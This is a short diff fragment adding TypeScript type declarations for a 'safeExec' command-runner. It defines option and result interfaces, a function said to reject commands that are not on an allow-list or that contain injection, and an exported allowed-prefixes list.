+ /** Additional allowed command prefixes beyond built-in list */
15
+ additionalPrefixes?: string[];
16
+ /** Max output buffer size in bytes (default: 10MB) */
17
+ maxBuffer?: number;
18
+ }
19
+ export interface ExecResult {
20
+ stdout: string;
21
+ stderr: string;
22
+ exitCode: number;
23
+ timedOut: boolean;
24
+ durationMs: number;
25
+ }
26
+ /**
27
+ * Execute a command with security validation.
28
+ *
29
+ * @throws SecurityError if command is not on allow-list or contains injection
30
+ */
31
+ export declare function safeExec(command: string, opts?: SafeExecOpts): ExecResult;
32
+ /** Export for testing */
33
+ export declare const _ALLOWED_PREFIXES: string[];